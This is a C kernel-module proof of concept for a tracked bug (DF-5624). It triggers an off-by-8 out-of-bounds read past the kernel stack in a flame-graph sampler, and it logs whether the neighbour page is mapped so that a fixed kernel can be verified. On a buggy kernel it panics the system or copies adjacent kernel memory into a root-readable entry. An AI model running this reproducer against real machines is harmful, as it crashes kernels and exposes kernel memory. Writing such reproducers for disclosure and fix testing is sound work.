/*
 * DF-5624 PoC v2 -- hard_sniff() off-by-8 OOB read past kernel stack top.
 *
 * sys/platform/pc64/x86_64/mp_flame.c:136-138
 *
 *      for (n = 1; n < FLAME_GRAPH_FRAMES - 1; ++n) {
 *              if (rbp < bot || rbp > top - 8 || ((intptr_t)rbp & 7))
 *                      break;
 *              fge->rips[n] = (intptr_t)*(char **)(rbp + 8);
 *
 * The guard admits rbp == top - 8, but the load at rbp+8 then reads
 * [top, top+8) -- 8 bytes past the end of the interrupted thread's
 * kernel stack (top == td_kstack + td_kstack_size).  When the page
 * after the kstack is UNMAPPED this is a fatal kernel-mode page fault
 * (panic, all CPUs stopped); when mapped it silently copies adjacent
 * kernel heap into the flame entry (root-readable).
 *
 * v2 additions over v1:
 *   - safe read-only 4-level page-table walk (through the DMAP) to
 *     determine, WITHOUT faulting, whether the neighbour page is mapped;
 *     printed as DF5624: NEIGHBOR ... so the serial console records
 *     exactly which load hit an unmapped neighbour;
 *   - the module's reference read of [top, top+8) only runs when the
 *     neighbour is mapped, so the instrumentation itself can never
 *     fault (that matters on the FIXED kernel where hard_sniff no
 *     longer faults and the loop must survive an unmapped neighbour).
 *
 * The module performs NO writes to kernel memory.
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/thread.h>
#include <sys/globaldata.h>

#include <machine/frame.h>
#include <machine/cpufunc.h>		/* hard_sniff */
#include <machine/pmap.h>
#include <machine/vmparam.h>		/* PHYS_TO_DMAP */

#include <sys/flame_graph.h>

#define DF5624_RIP_MAGIC	0x0000DF0000005624ULL
#define PG_PRS		0x0000000000000001ULL	/* present */
#define PG_PS_BIT	0x0000000000000080ULL	/* page size */
#define PG_FRAME_MSK	0x000FFFFFFFFFF000ULL

/*
 * Safe present-check for a kernel VA: walk kernel_pmap's page tables
 * read-only through the direct map; never dereference a non-present
 * entry's target.  Page-table pages are always physically present, so
 * PHYS_TO_DMAP reads of them cannot fault.
 */
static int
df5624_kva_present(vm_offset_t va)
{
	uint64_t *pml4 = (uint64_t *)kernel_pmap->pm_pml4;
	uint64_t pml4e;
	uint64_t *pdpe;
	uint64_t pdpe_v;
	uint64_t *pde;
	uint64_t pde_v;
	uint64_t *pt;

	pml4e = pml4[(va >> 39) & 0x1FF];
	if (!(pml4e & PG_PRS))
		return (0);
	pdpe = (uint64_t *)PHYS_TO_DMAP(pml4e & PG_FRAME_MSK);
	pdpe_v = pdpe[(va >> 30) & 0x1FF];
	if (!(pdpe_v & PG_PRS))
		return (0);
	if (pdpe_v & PG_PS_BIT)
		return (1);			/* 1GB page */
	pde = (uint64_t *)PHYS_TO_DMAP(pdpe_v & PG_FRAME_MSK);
	pde_v = pde[(va >> 21) & 0x1FF];
	if (!(pde_v & PG_PRS))
		return (0);
	if (pde_v & PG_PS_BIT)
		return (1);			/* 2MB page */
	pt = (uint64_t *)PHYS_TO_DMAP(pde_v & PG_FRAME_MSK);
	return ((pt[(va >> 12) & 0x1FF] & PG_PRS) ? 1 : 0);
}

static int
flameoob_handler(module_t mod, int what, void *arg)
{
	struct trapframe tf;
	globaldata_t gd;
	thread_t td;
	char *bot;
	char *top;
	uint64_t topval;
	int cpuid;
	int present;

	switch (what) {
	case MOD_LOAD:
		gd = mycpu;
		cpuid = gd->gd_cpuid;
		td = gd->gd_curthread;
		bot = (char *)td->td_kstack + PAGE_SIZE;	/* skip guard */
		top = (char *)td->td_kstack + td->td_kstack_size;

		present = df5624_kva_present((vm_offset_t)top);
		kprintf("DF5624: cpu%d kstack=[%p,%p) top=%p NEIGHBOR %s\n",
			cpuid, (void *)td->td_kstack, (void *)top,
			(void *)top,
			present ? "MAPPED" : "UNMAPPED");

		memset(&tf, 0, sizeof(tf));
		tf.tf_rip = (register_t)DF5624_RIP_MAGIC;	/* rips[0] */
		tf.tf_rsp = (register_t)(top - 0x200);
		tf.tf_rbp = (register_t)(top - 8);	/* exact guard limit */

		kprintf("DF5624: tf_rbp=%p == top-8: passes 'rbp > top-8' "
			"(equal is not greater), 8-aligned, >= bot -> "
			"hard_sniff loads *(rbp+8) at %p = [top, top+8): "
			"OUT OF BOUNDS READ; UNMAPPED here means the buggy "
			"kernel takes a fatal trap 12 at mp_flame.c:138\n",
			(void *)(top - 8), (void *)top);

		/*
		 * The production sampler.  Requires
		 * debug.flame_graph_enable=1 (run.sh arms it first).
		 * Buggy kernel + unmapped neighbour: panic right here.
		 */
		hard_sniff(&tf);

		if (present) {
			topval = *(volatile uint64_t *)top;
			kprintf("DF5624: survived; qword at [top, top+8) = "
				"%016llx (module reference read)\n",
				(unsigned long long)topval);
			kprintf("DF5624: expect dump cpu=%d entry: "
				"rips[0]=%016llx rips[1]=%016llx\n",
				cpuid, (unsigned long long)DF5624_RIP_MAGIC,
				(unsigned long long)topval);
		} else {
			kprintf("DF5624: survived UNMAPPED-neighbour sniff "
				"(no OOB fault) -- fixed guard must be why\n");
		}
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (0);
	}
}

static moduledata_t flameoob_mod = {
	"flameoob",
	flameoob_handler,
	NULL
};
DECLARE_MODULE(flameoob, flameoob_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(flameoob, 1);
